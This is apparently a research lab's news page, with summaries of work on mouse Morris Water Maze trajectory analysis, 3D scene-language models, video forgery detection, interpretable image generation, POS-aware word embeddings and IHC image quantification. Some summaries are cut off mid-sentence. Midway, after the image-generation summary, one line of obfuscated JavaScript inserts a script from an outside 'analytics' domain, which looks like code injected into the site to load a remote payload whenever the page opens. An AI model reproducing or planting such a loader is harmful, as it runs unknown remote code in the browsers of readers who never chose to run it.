News

Understanding animal motion behavior is important for understanding how the brain organizes memory, decision-making, and goal-directed action. In our research, we study mouse navigation behavior using the Morris Water Maze (MWM), a widely used behavioral paradigm for investigating spatial learning and memory in rodents. While conventional measures such as escape latency and path length provide useful summaries of performance, they often do not fully capture the rich and dynamic nature of movement during navigation.

Our research focuses on understanding mouse motion behavior at a finer temporal scale. Instead of treating each trial as a single behavioral unit, we examine how navigation strategies evolve within a trial, since mice may shift among exploration, wall-following, scanning, circling, and more direct platform-oriented movement over time. These within-trial changes can offer deeper insight into learning processes, behavioral flexibility, and group differences that may be overlooked by aggregate metrics alone.

To support this goal, we develop an interpretable and lightweight computational framework for analyzing tracked trajectories from behavioral videos. Our approach analyzes motion continuously over time and identifies sub-trajectory-level navigational states. The pipeline first corrects for tracking irregularities through uniform resampling and smoothing, then derives geometry- and kinematics-based descriptors such as curvature, displacement, turning behavior, and target alignment. These features are mapped to human-readable behavioral categories through a hierarchical rule-based inference process, followed by temporal refinement to reduce fragmented or implausible label switching.

This work emphasizes interpretability and practical usability in neuroscience research. By providing point-wise annotations and visually verifiable outputs, the framework enables behavioral phenotyping and hypothesis-driven analysis of strategy transitions and learning dynamics.

MCL members, Jintang Xue and Kevin Yang, presented their papers at the Winter Conference on Applications of Computer Vision (WACV) 2026, Tucson, AZ, USA.

The title of Jintang et al.’s paper is “Descrip3D: Enhancing Large Language Model-based 3D Scene Understanding with Object-Level Text Descriptions”. Here is a brief summary:

“Understanding 3D scenes goes beyond simply recognizing objects; it requires reasoning about the spatial and semantic relationships between them. Current 3D scene-language models often struggle with this relational understanding, particularly when visual embeddings alone do not adequately convey the roles and interactions of objects. In this paper, we introduce Descrip3D, a novel and powerful framework that explicitly encodes the relationships between objects using natural language. Unlike previous methods that rely only on 2D and 3D embeddings, Descrip3D enhances each object with a textual description that captures both its intrinsic attributes and contextual relationships. These relational cues are incorporated into the model through a dual-level integration: embedding fusion and prompt-level injection. This allows for unified reasoning across various tasks such as grounding, captioning, and question answering, all without the need for task-specific heads or additional supervision. When evaluated on five benchmark datasets, including ScanRefer, Multi3DRefer, ScanQA, SQA3D, and Scan2Cap, Descrip3D consistently outperforms strong baseline models, demonstrating the effectiveness of language-guided relational representation for understanding complex indoor scenes.”

Kevin’s paper is entitled “SVD-Det: A Lightweight Framework for Video Forgery Detection Using Semanticand Visual Defect Cues”, co-authored with Tianyu Zhang, Feng Qian, Bing Yan, and C.-C. Jay Kuo. The summary goes as follows:

“With the rapid proliferation of AI-generated content (AIGC) on multimedia platforms, efficient and reliable video forgery detection has become increasingly important. Existing approaches often rely on either visual artifacts or semantic inconsistencies, but suffer from high computational costs, [...]

Although generative adversarial networks (GANs) and diffusion models achieve impressive realism through neural networks and backpropagation, the learned representations and latent spaces lack clear attribution and interpretability. Understanding the generation process requires auxiliary probing or post-hoc analysis. Empirical studies suggest that some models implicitly follow a coarse-to-fine generation mechanism, in which early stages determine the global structure and layout, and later stages progressively refine details and inject texture and style. This work explicitly formalizes this mechanism and presents a feed-forward image generation (FIG) process with well-defined objectives at each stage. FIG statistically models the lowest-resolution images and then progressively refines them. Unlike neural generative models, FIG provides explicit interpretability and attribution. Each generated region can be traced to its associated source and refinement. This property facilitates controllability, supports privacy-aware generation without retraining, and allows transparent manipulation of generated content. Compared to representative baselines based on GAN and diffusion, FIG achieves competitive visual quality, offers superior interpretability, and improves robustness in data-sparse regimes.

We introduced FIG, an interpretable and fully feed-forward image generation framework that formalizes the separation between global structure modeling and local detail refinement. FIG records pixel-level attribution throughout multi-resolution enhancement, enabling each synthesized detail to be attributed, controlled, or selectively modified. This design enables control over the global appearance, semantic attributes, and localized regions without affecting the rest of the image. Furthermore, the transparent retrieval process supports source-aware filtering, allowing selective exclusion of sensitive training samples without retraining. Extensive benchmark results demonstrate that FIG maintains competitive generation quality while offering these interpretability and controllability.
;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

We propose Variable-Length Word Embeddings, a POS-aware and compute-efficient Word2Vec training framework. Traditional embeddings assign the same dimensionality to every token, even though different parts of speech contribute very differently to sentence meaning. In real text, nouns usually carry the main semantic content, verbs encode actions and relations, while many other categories (e.g., articles, prepositions, conjunctions) are comparatively low-information. This motivates a representation strategy that spends more capacity on important words and less capacity on the rest.

Our core idea is to use POS tags to organize training data and allocate embedding dimensions accordingly. We first POS-tag the entire corpus and split it into three views: a noun-only corpus, a noun+verb corpus, and a full corpus containing all tokens. Instead of training one uniform embedding space, we build embeddings in stages so that nouns become the backbone, verbs are learned relative to that backbone, and the remaining words are learned with minimal capacity.

We train nouns progressively with increasing dimensionality. Specifically, we learn noun embeddings at 50D, 100D, and 200D on the noun-only corpus. To make training across dimensions stable and efficient, each higher-dimensional model is initialized from the previous lower-dimensional embeddings using Lanczos interpolation (50D → 100D, and 100D → 200D), and then refined on the noun-only corpus. This produces high-capacity noun representations while preserving continuity across stages.

After obtaining the noun backbone at each dimension, we introduce verbs through a controlled adaptation step. Using the noun+verb corpus, we train verbs on top of the noun space, where noun vectors are soft-frozen (implemented with a reduced update factor) so they remain stable but can still adjust slightly. Verbs, in contrast, are fully trainable and learn to align with noun semantics. We apply this procedure at 50D [...]

Our paper proposes a multi-stage Green U-shaped Learning (GUSL) framework for efficient and reliable IHC image quantification. As shown in the overall pipeline (Stage I–III), the system starts with the preprocessing of the input IHC image using normalization and PCA. In Stage I, marker-specific GUSL modules learn mpIF-informed intermediate representations, such as LAP2 and KI67-related cues, from co-registered training data. In Stage II, these representations are integrated by a dedicated GUSL module to generate a cell/background segmentation map in a coarse-to-fine and residual refinement manner. In Stage III, connected cell regions are extracted, and cell-level classification is performed to determine whether each cell is biomarker-positive or biomarker-negative. The entire framework follows a feedforward, modular design without end-to-end backpropagation, reducing computational cost while keeping the system transparent and interpretable.

Qualitative examples are shown in the second figure. Column (a) presents the input brightfield IHC images. Column (b) shows the ground-truth cell segmentation and biomarker labels. Columns (c) and (d) compare results from a representative deep learning baseline and our GUSL method. We observe that the proposed method produces clearer cell boundaries and more consistent positive/negative classification, especially in crowded regions and low-contrast areas. These visual results are consistent with our quantitative evaluation, which demonstrates competitive segmentation accuracy and improved quantification agreement, while using much lower model complexity and energy consumption.